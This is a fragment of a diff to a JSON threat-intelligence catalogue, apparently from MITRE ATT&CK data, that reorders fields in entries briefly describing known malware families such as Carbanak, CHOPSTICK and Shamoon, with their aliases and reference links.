"uuid": "0db09158-6e48-4e7c-8ce7-2b10b9c0c039"
},
- "value": "Misdat",
- "description": "Misdat is a backdoor that was used by Dust Storm from 2010 to 2011.[[Citation: Cylance Dust Storm]]"
+ "value": "Misdat"
},
{
+ "description": "Taidoor is malware that has been used since at least 2010, primarily to target Taiwanese government organizations.[[Citation: TrendMicro Taidoor]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0011",
@@ -497,10 +497,10 @@
],
"uuid": "b143dfa4-e944-43ff-8429-bfffc308c517"
},
- "value": "Taidoor",
- "description": "Taidoor is malware that has been used since at least 2010, primarily to target Taiwanese government organizations.[[Citation: TrendMicro Taidoor]]"
+ "value": "Taidoor"
},
{
+ "description": "MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand.[[Citation: Palo Alto MoonWind March 2017]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0149",
@@ -508,25 +508,25 @@
],
"uuid": "9ea525fa-b0a9-4dde-84f2-bcea0137b3c1"
},
- "value": "MoonWind",
- "description": "MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand.[[Citation: Palo Alto MoonWind March 2017]]"
+ "value": "MoonWind"
},
{
+ "description": "Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims.[[Citation: Proofpoint Operation Transparent Tribe March 2016]]\n\nAliases: Crimson, MSIL/Crimson",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0115",
"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
],
- "uuid": "326af1cd-78e7-45b7-a326-125d2f7ef8f2",
"synonyms": [
"Crimson",
"MSIL/Crimson"
- ]
+ ],
+ "uuid": "326af1cd-78e7-45b7-a326-125d2f7ef8f2"
},
- "value": "Crimson",
- "description": "Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims.[[Citation: Proofpoint Operation Transparent Tribe March 2016]]\n\nAliases: Crimson, MSIL/Crimson"
+ "value": "Crimson"
},
{
+ "description": "Rover is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan.[[Citation: Palo Alto Rover]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0090",
@@ -534,10 +534,10 @@
],
"uuid": "6b616fc1-1505-48e3-8b2c-0d19337bff38"
},
- "value": "Rover",
- "description": "Rover is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan.[[Citation: Palo Alto Rover]]"
+ "value": "Rover"
},
{
+ "description": "ZLib is a full-featured backdoor that was used as a second-stage implant by Dust Storm from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived.[[Citation: Cylance Dust Storm]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0086",
@@ -545,10 +545,10 @@
],
"uuid": "166c0eca-02fd-424a-92c0-6b5106994d31"
},
- "value": "ZLib",
- "description": "ZLib is a full-featured backdoor that was used as a second-stage implant by Dust Storm from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived.[[Citation: Cylance Dust Storm]]"
+ "value": "ZLib"
},
{
+ "description": "PowerDuke is a backdoor that was used by APT29 in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros.[[Citation: Volexity PowerDuke November 2016]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0139",
@@ -556,10 +556,10 @@
],
"uuid": "00c3bfcb-99bd-4767-8c03-b08f585f5c8a"
},
- "value": "PowerDuke",
- "description": "PowerDuke is a backdoor that was used by APT29 in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros.[[Citation: Volexity PowerDuke November 2016]]"
+ "value": "PowerDuke"
},
{
+ "description": "HTTPBrowser is malware that has been used by several threat groups.[[Citation: ThreatStream Evasion Analysis]][[Citation: Dell TG-3390]] It is believed to be of Chinese origin.[[Citation: ThreatConnect Anthem]]\n\nAliases: HTTPBrowser, Token Control, HttpDump",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0070",
@@ -567,64 +567,64 @@
"http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/",
"https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/"
],
- "uuid": "e066bf86-9cfb-407a-9d25-26fd5d91e360",
"synonyms": [
"HTTPBrowser",
"Token Control",
"HttpDump"
- ]
+ ],
+ "uuid": "e066bf86-9cfb-407a-9d25-26fd5d91e360"
},
- "value": "HTTPBrowser",
- "description": "HTTPBrowser is malware that has been used by several threat groups.[[Citation: ThreatStream Evasion Analysis]][[Citation: Dell TG-3390]] It is believed to be of Chinese origin.[[Citation: ThreatConnect Anthem]]\n\nAliases: HTTPBrowser, Token Control, HttpDump"
+ "value": "HTTPBrowser"
},
{
+ "description": "HAMMERTOSS is a backdoor that was used by APT29 in 2015.[[Citation: FireEye APT29]][[Citation: F-Secure The Dukes]]\n\nAliases: HAMMERTOSS, HammerDuke, NetDuke",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0037",
"https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
- "uuid": "2daa14d6-cbf3-4308-bb8e-213c324a08e4",
"synonyms": [
"HAMMERTOSS",
"HammerDuke",
"NetDuke"
- ]
+ ],
+ "uuid": "2daa14d6-cbf3-4308-bb8e-213c324a08e4"
},
- "value": "HAMMERTOSS",
- "description": "HAMMERTOSS is a backdoor that was used by APT29 in 2015.[[Citation: FireEye APT29]][[Citation: F-Secure The Dukes]]\n\nAliases: HAMMERTOSS, HammerDuke, NetDuke"
+ "value": "HAMMERTOSS"
},
{
+ "description": "PoisonIvy is a popular remote access tool (RAT) that has been used by many groups.[[Citation: FireEye Poison Ivy]]\n\nAliases: PoisonIvy, Poison Ivy",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0012",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf"
],
- "uuid": "b42378e0-f147-496f-992a-26a49705395b",
"synonyms": [
"PoisonIvy",
"Poison Ivy"
- ]
+ ],
+ "uuid": "b42378e0-f147-496f-992a-26a49705395b"
},
- "value": "PoisonIvy",
- "description": "PoisonIvy is a popular remote access tool (RAT) that has been used by many groups.[[Citation: FireEye Poison Ivy]]\n\nAliases: PoisonIvy, Poison Ivy"
+ "value": "PoisonIvy"
},
{
+ "description": "Carbanak is a remote backdoor used by a group of the same name (Carbanak). It is intended for espionage, data exfiltration, and providing remote access to infected machines.[[Citation: Kaspersky Carbanak]]\n\nAliases: Carbanak, Anunak",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0030",
"https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf"
],
- "uuid": "72f54d66-675d-4587-9bd3-4ed09f9522e4",
"synonyms": [
"Carbanak",
"Anunak"
- ]
+ ],
+ "uuid": "72f54d66-675d-4587-9bd3-4ed09f9522e4"
},
- "value": "Carbanak",
- "description": "Carbanak is a remote backdoor used by a group of the same name (Carbanak). It is intended for espionage, data exfiltration, and providing remote access to infected machines.[[Citation: Kaspersky Carbanak]]\n\nAliases: Carbanak, Anunak"
+ "value": "Carbanak"
},
{
+ "description": "Ixeshe is a malware family that has been used since 2009 to attack targets in East Asia.[[Citation: Moran 2013]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0015",
@@ -632,10 +632,10 @@
],
"uuid": "8beac7c2-48d2-4cd9-9b15-6c452f38ac06"
},
- "value": "Ixeshe",
- "description": "Ixeshe is a malware family that has been used since 2009 to attack targets in East Asia.[[Citation: Moran 2013]]"
+ "value": "Ixeshe"
},
{
+ "description": "BADNEWS is malware that has been used by the actors responsible for the MONSOON campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control.[[Citation: Forcepoint Monsoon]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0128",
@@ -643,26 +643,26 @@
],
"uuid": "e9595678-d269-469e-ae6b-75e49259de63"
},
- "value": "BADNEWS",
- "description": "BADNEWS is malware that has been used by the actors responsible for the MONSOON campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control.[[Citation: Forcepoint Monsoon]]"
+ "value": "BADNEWS"
},
{
+ "description": "Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries.[[Citation: Kaspersky Flame]]\n\nAliases: Flame, Flamer, sKyWIper",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0143",
"https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/"
],
- "uuid": "ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
"synonyms": [
"Flame",
"Flamer",
"sKyWIper"
- ]
+ ],
+ "uuid": "ff6840c9-4c87-4d07-bbb6-9f50aa33d498"
},
- "value": "Flame",
- "description": "Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries.[[Citation: Kaspersky Flame]]\n\nAliases: Flame, Flamer, sKyWIper"
+ "value": "Flame"
},
{
+ "description": "RIPTIDE is a proxy-aware backdoor used by APT12.[[Citation: Moran 2014]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0003",
@@ -670,28 +670,28 @@
],
"uuid": "ad4f146f-e3ec-444a-ba71-24bffd7f0f8e"
},
- "value": "RIPTIDE",
- "description": "RIPTIDE is a proxy-aware backdoor used by APT12.[[Citation: Moran 2014]]"
+ "value": "RIPTIDE"
},
{
+ "description": "CozyCar is malware that was used by APT29 from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality.[[Citation: F-Secure The Dukes]]\n\nAliases: CozyCar, CozyDuke, CozyBear, Cozer, EuroAPT",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0046",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
- "uuid": "e6ef745b-077f-42e1-a37d-29eecff9c754",
"synonyms": [
"CozyCar",
"CozyDuke",
"CozyBear",
"Cozer",
"EuroAPT"
- ]
+ ],
+ "uuid": "e6ef745b-077f-42e1-a37d-29eecff9c754"
},
- "value": "CozyCar",
- "description": "CozyCar is malware that was used by APT29 from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality.[[Citation: F-Secure The Dukes]]\n\nAliases: CozyCar, CozyDuke, CozyBear, Cozer, EuroAPT"
+ "value": "CozyCar"
},
{
+ "description": "Mivast is a backdoor that has been used by Deep Panda. It was reportedly used in the Anthem breach.[[Citation: Symantec Black Vine]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0080",
@@ -699,10 +699,10 @@
],
"uuid": "fbb470da-1d44-4f29-bbb3-9efbe20f94a3"
},
- "value": "Mivast",
- "description": "Mivast is a backdoor that has been used by Deep Panda. It was reportedly used in the Anthem breach.[[Citation: Symantec Black Vine]]"
+ "value": "Mivast"
},
{
+ "description": "Cherry Picker is a point of sale (PoS) memory scraper.[[Citation: Trustwave Cherry Picker]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0107",
@@ -710,10 +710,10 @@
],
"uuid": "b2203c59-4089-4ee4-bfe1-28fa25f0dbfe"
},
- "value": "Cherry Picker",
- "description": "Cherry Picker is a point of sale (PoS) memory scraper.[[Citation: Trustwave Cherry Picker]]"
+ "value": "Cherry Picker"
},
{
+ "description": "XTunnel a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by APT28 during the compromise of the Democratic National Committee.[[Citation: Crowdstrike DNC June 2016]][[Citation: Invincea XTunnel]][[Citation: ESET Sednit Part 2]]\n\nAliases: XTunnel, X-Tunnel, XAPS",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0117",
@@ -721,17 +721,17 @@
"https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/",
"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
],
- "uuid": "7343e208-7cab-45f2-a47b-41ba5e2f0fab",
"synonyms": [
"XTunnel",
"X-Tunnel",
"XAPS"
- ]
+ ],
+ "uuid": "7343e208-7cab-45f2-a47b-41ba5e2f0fab"
},
- "value": "XTunnel",
- "description": "XTunnel a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by APT28 during the compromise of the Democratic National Committee.[[Citation: Crowdstrike DNC June 2016]][[Citation: Invincea XTunnel]][[Citation: ESET Sednit Part 2]]\n\nAliases: XTunnel, X-Tunnel, XAPS"
+ "value": "XTunnel"
},
{
+ "description": "GeminiDuke is malware that was used by APT29 from 2009 to 2012.[[Citation: F-Secure The Dukes]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0049",
@@ -739,26 +739,26 @@
],
"uuid": "199463de-d9be-46d6-bb41-07234c1dd5a6"
},
- "value": "GeminiDuke",
- "description": "GeminiDuke is malware that was used by APT29 from 2009 to 2012.[[Citation: F-Secure The Dukes]]"
+ "value": "GeminiDuke"
},
{
+ "description": "Sakula is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015.[[Citation: Dell Sakula]]\n\nAliases: Sakula, Sakurel, VIPER",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0074",
"http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"
],
- "uuid": "96b08451-b27a-4ff6-893f-790e26393a8e",
"synonyms": [
"Sakula",
"Sakurel",
"VIPER"
- ]
+ ],
+ "uuid": "96b08451-b27a-4ff6-893f-790e26393a8e"
},
- "value": "Sakula",
- "description": "Sakula is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015.[[Citation: Dell Sakula]]\n\nAliases: Sakula, Sakurel, VIPER"
+ "value": "Sakula"
},
{
+ "description": "Agent.btz is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008.[[Citation: Securelist Agent.btz]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0092",
@@ -766,10 +766,10 @@
],
"uuid": "40d3e230-ed32-469f-ba89-be70cc08ab39"
},
- "value": "Agent.btz",
- "description": "Agent.btz is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008.[[Citation: Securelist Agent.btz]]"
+ "value": "Agent.btz"
},
{
+ "description": "Prikormka is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008.[[Citation: ESET Operation Groundbait]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0113",
@@ -777,10 +777,10 @@
],
"uuid": "37cc7eb6-12e3-467b-82e8-f20f2cc73c69"
},
- "value": "Prikormka",
- "description": "Prikormka is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008.[[Citation: ESET Operation Groundbait]]"
+ "value": "Prikormka"
},
{
+ "description": "NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.”[[Citation: FireEye APT30]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0034",
@@ -788,27 +788,27 @@
],
"uuid": "53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2"
},
- "value": "NETEAGLE",
- "description": "NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.”[[Citation: FireEye APT30]]"
+ "value": "NETEAGLE"
},
{
+ "description": "USBStealer is malware that has used by APT28 since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with ADVSTORESHELL.[[Citation: ESET Sednit USBStealer 2014]][[Citation: Kaspersky Sofacy]]\n\nAliases: USBStealer, USB Stealer, Win32/USBStealer",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0136",
"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/",
"https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
],
- "uuid": "af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
"synonyms": [
"USBStealer",
"USB Stealer",
"Win32/USBStealer"
- ]
+ ],
+ "uuid": "af2ad3b7-ab6a-4807-91fd-51bcaff9acbb"
},
- "value": "USBStealer",
- "description": "USBStealer is malware that has used by APT28 since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with ADVSTORESHELL.[[Citation: ESET Sednit USBStealer 2014]][[Citation: Kaspersky Sofacy]]\n\nAliases: USBStealer, USB Stealer, Win32/USBStealer"
+ "value": "USBStealer"
},
{
+ "description": "CALENDAR is malware used by APT1 that mimics legitimate Gmail Calendar traffic.[[Citation: Mandiant APT1]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0025",
@@ -816,10 +816,10 @@
],
"uuid": "5a84dc36-df0d-4053-9b7c-f0c388a57283"
},
- "value": "CALENDAR",
- "description": "CALENDAR is malware used by APT1 that mimics legitimate Gmail Calendar traffic.[[Citation: Mandiant APT1]]"
+ "value": "CALENDAR"
},
{
+ "description": "is a trojan that has been used by APT28 on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan.[[Citation: XAgentOSX]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0161",
@@ -827,10 +827,10 @@
],
"uuid": "5930509b-7793-4db9-bdfc-4edda7709d0d"
},
- "value": "XAgentOSX",
- "description": "is a trojan that has been used by APT28 on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan.[[Citation: XAgentOSX]]"
+ "value": "XAgentOSX"
},
{
+ "description": "Regin is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some Regin timestamps date back to 2003.[[Citation: Kaspersky Regin]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0019",
@@ -838,10 +838,10 @@
],
"uuid": "4c59cce8-cb48-4141-b9f1-f646edfaadb0"
},
- "value": "Regin",
- "description": "Regin is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some Regin timestamps date back to 2003.[[Citation: Kaspersky Regin]]"
+ "value": "Regin"
},
{
+ "description": "AutoIt is a backdoor that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352.[[Citation: Forcepoint Monsoon]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0129",
@@ -849,10 +849,10 @@
],
"uuid": "f5352566-1a64-49ac-8f7f-97e1d1a03300"
},
- "value": "AutoIt",
- "description": "AutoIt is a backdoor that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352.[[Citation: Forcepoint Monsoon]]"
+ "value": "AutoIt"
},
{
+ "description": "Pteranodon is a custom backdoor used by Gamaredon Group.[[Citation: Palo Alto Gamaredon Feb 2017]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0147",
@@ -860,10 +860,10 @@
],
"uuid": "5f9f7648-04ba-4a9f-bb4c-2a13e74572bd"
},
- "value": "Pteranodon",
- "description": "Pteranodon is a custom backdoor used by Gamaredon Group.[[Citation: Palo Alto Gamaredon Feb 2017]]"
+ "value": "Pteranodon"
},
{
+ "description": "RARSTONE is malware used by the Naikon group that has some characteristics similar to PlugX.[[Citation: Aquino RARSTONE]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0055",
@@ -871,26 +871,26 @@
],
"uuid": "8c553311-0baa-4146-997a-f79acef3d831"
},
- "value": "RARSTONE",
- "description": "RARSTONE is malware used by the Naikon group that has some characteristics similar to PlugX.[[Citation: Aquino RARSTONE]]"
+ "value": "RARSTONE"
},
{
+ "description": "SHOTPUT is a custom backdoor used by APT3.[[Citation: FireEye Clandestine Wolf]]\n\nAliases: SHOTPUT, Backdoor.APT.CookieCutter, Pirpi",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0063",
"https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html"
],
- "uuid": "58adaaa8-f1e8-4606-9a08-422e568461eb",
"synonyms": [
"SHOTPUT",
"Backdoor.APT.CookieCutter",
"Pirpi"
- ]
+ ],
+ "uuid": "58adaaa8-f1e8-4606-9a08-422e568461eb"
},
- "value": "SHOTPUT",
- "description": "SHOTPUT is a custom backdoor used by APT3.[[Citation: FireEye Clandestine Wolf]]\n\nAliases: SHOTPUT, Backdoor.APT.CookieCutter, Pirpi"
+ "value": "SHOTPUT"
},
{
+ "description": "Trojan.Karagany is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums.[[Citation: Symantec Dragonfly]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0094",
@@ -898,10 +898,10 @@
],
"uuid": "82cb34ba-02b5-432b-b2d2-07f55cbf674d"
},
- "value": "Trojan.Karagany",
- "description": "Trojan.Karagany is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums.[[Citation: Symantec Dragonfly]]"
+ "value": "Trojan.Karagany"
},
{
+ "description": "Kasidet is a backdoor that has been dropped by using malicious VBA macros.[[Citation: Zscaler Kasidet]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0088",
@@ -909,10 +909,10 @@
],
"uuid": "26fed817-e7bf-41f9-829a-9075ffac45c2"
},
- "value": "Kasidet",
- "description": "Kasidet is a backdoor that has been dropped by using malicious VBA macros.[[Citation: Zscaler Kasidet]]"
+ "value": "Kasidet"
},
{
+ "description": "CHOPSTICK is malware family of modular backdoors used by APT28. It has been used from at least November 2012 to August 2016 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases.[[Citation: FireEye APT28]][[Citation: ESET Sednit Part 2]][[Citation: FireEye APT28 January 2017]]\n\nAliases: CHOPSTICK, SPLM, Xagent, X-Agent, webhp",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0023",
@@ -920,19 +920,19 @@
"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
],
- "uuid": "ccd61dfc-b03f-4689-8c18-7c97eab08472",
"synonyms": [
"CHOPSTICK",
"SPLM",
"Xagent",
"X-Agent",
"webhp"
- ]
+ ],
+ "uuid": "ccd61dfc-b03f-4689-8c18-7c97eab08472"
},
- "value": "CHOPSTICK",
- "description": "CHOPSTICK is malware family of modular backdoors used by APT28. It has been used from at least November 2012 to August 2016 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases.[[Citation: FireEye APT28]][[Citation: ESET Sednit Part 2]][[Citation: FireEye APT28 January 2017]]\n\nAliases: CHOPSTICK, SPLM, Xagent, X-Agent, webhp"
+ "value": "CHOPSTICK"
},
{
+ "description": "MiniDuke is malware that was used by APT29 from 2010 to 2015. The MiniDuke toolset consists of multiple downloader and backdoor components. The loader has been used with other MiniDuke components as well as in conjunction with CosmicDuke and PinchDuke.[[Citation: F-Secure The Dukes]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0051",
@@ -940,10 +940,10 @@
],
"uuid": "5e7ef1dc-7fb6-4913-ac75-e06113b59e0c"
},
- "value": "MiniDuke",
- "description": "MiniDuke is malware that was used by APT29 from 2010 to 2015. The MiniDuke toolset consists of multiple downloader and backdoor components. The loader has been used with other MiniDuke components as well as in conjunction with CosmicDuke and PinchDuke.[[Citation: F-Secure The Dukes]]"
+ "value": "MiniDuke"
},
{
+ "description": "BBSRAT is malware with remote access tool functionality that has been used in targeted compromises.[[Citation: Palo Alto Networks BBSRAT]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0127",
@@ -951,26 +951,26 @@
],
"uuid": "64d76fa5-cf8f-469c-b78c-1a4f7c5bad80"
},
- "value": "BBSRAT",
- "description": "BBSRAT is malware with remote access tool functionality that has been used in targeted compromises.[[Citation: Palo Alto Networks BBSRAT]]"
+ "value": "BBSRAT"
},
{
+ "description": "Elise is a custom backdoor Trojan that appears to be used exclusively by Lotus Blossom. It is part of a larger group of\ntools referred to as LStudio, ST Group, and APT0LSTU.[[Citation: Lotus Blossom Jun 2015]]\n\nAliases: Elise, BKDR_ESILE, Page",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0081",
"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html"
],
- "uuid": "7551188b-8f91-4d34-8350-0d0c57b2b913",
"synonyms": [
"Elise",
"BKDR_ESILE",
"Page"
- ]
+ ],
+ "uuid": "7551188b-8f91-4d34-8350-0d0c57b2b913"
},
- "value": "Elise",
- "description": "Elise is a custom backdoor Trojan that appears to be used exclusively by Lotus Blossom. It is part of a larger group of\ntools referred to as LStudio, ST Group, and APT0LSTU.[[Citation: Lotus Blossom Jun 2015]]\n\nAliases: Elise, BKDR_ESILE, Page"
+ "value": "Elise"
},
{
+ "description": "BISCUIT is a backdoor that has been used by APT1 since as early as 2007.[[Citation: Mandiant APT1]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0017",
@@ -978,10 +978,10 @@
],
"uuid": "b8eb28e4-48a6-40ae-951a-328714f75eda"
},
- "value": "BISCUIT",
- "description": "BISCUIT is a backdoor that has been used by APT1 since as early as 2007.[[Citation: Mandiant APT1]]"
+ "value": "BISCUIT"
},
{
+ "description": "Uroburos is a rootkit used by Turla.[[Citation: Kaspersky Turla]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0022",
@@ -989,26 +989,26 @@
],
"uuid": "80a014ba-3fef-4768-990b-37d8bd10d7f4"
},
- "value": "Uroburos",
- "description": "Uroburos is a rootkit used by Turla.[[Citation: Kaspersky Turla]]"
+ "value": "Uroburos"
},
{
+ "description": "POWERSOURCE is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped.[[Citation: FireEye FIN7 March 2017]][[Citation: Cisco DNSMessenger March 2017]]\n\nAliases: POWERSOURCE, DNSMessenger",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0145",
"http://blog.talosintelligence.com/2017/03/dnsmessenger.html",
"https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html"
],
- "uuid": "17e919aa-4a49-445c-b103-dbb8df9e7351",
"synonyms": [
"POWERSOURCE",
"DNSMessenger"
- ]
+ ],
+ "uuid": "17e919aa-4a49-445c-b103-dbb8df9e7351"
},
- "value": "POWERSOURCE",
- "description": "POWERSOURCE is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped.[[Citation: FireEye FIN7 March 2017]][[Citation: Cisco DNSMessenger March 2017]]\n\nAliases: POWERSOURCE, DNSMessenger"
+ "value": "POWERSOURCE"
},
{
+ "description": "hcdLoader is a remote access tool (RAT) that has been used by APT18.[[Citation: Dell Lateral Movement]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0071",
@@ -1016,25 +1016,25 @@
],
"uuid": "9e2bba94-950b-4fcf-8070-cb3f816c5f4e"
},
- "value": "hcdLoader",
- "description": "hcdLoader is a remote access tool (RAT) that has been used by APT18.[[Citation: Dell Lateral Movement]]"
+ "value": "hcdLoader"
},
{
+ "description": "Zeroaccess is a kernel-mode Rootkit that attempts to add victims to the ZeroAccess botnet, often for monetary gain.[[Citation: Sophos ZeroAccess]]\n\nAliases: Zeroaccess, Trojan.Zeroaccess",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0027",
"https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf"
],
- "uuid": "552462b9-ae79-49dd-855c-5973014e157f",
"synonyms": [
"Zeroaccess",
"Trojan.Zeroaccess"
- ]
+ ],
+ "uuid": "552462b9-ae79-49dd-855c-5973014e157f"
},
- "value": "Zeroaccess",
- "description": "Zeroaccess is a kernel-mode Rootkit that attempts to add victims to the ZeroAccess botnet, often for monetary gain.[[Citation: Sophos ZeroAccess]]\n\nAliases: Zeroaccess, Trojan.Zeroaccess"
+ "value": "Zeroaccess"
},
{
+ "description": "Skeleton Key is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password.Skeleton Key is included as a module in Mimikatz.",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0007",
@@ -1042,26 +1042,26 @@
],
"uuid": "89f63ae4-f229-4a5c-95ad-6f22ed2b5c49"
},
- "value": "Skeleton Key",
- "description": "Skeleton Key is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password.Skeleton Key is included as a module in Mimikatz."
+ "value": "Skeleton Key"
},
{
+ "description": "Shamoon is malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. The 2.0 version was seen in 2016 targeting Middle Eastern states.[[Citation: FireEye Shamoon Nov 2016]][[Citation: Palo Alto Shamoon Nov 2016]]\n\nAliases: Shamoon, Disttrack",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0140",
"https://www.fireeye.com/blog/threat-research/2016/11/fireeye%20respondsto.html",
"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
],
- "uuid": "8901ac23-6b50-410c-b0dd-d8174a86f9b3",
"synonyms": [
"Shamoon",
"Disttrack"
- ]
+ ],
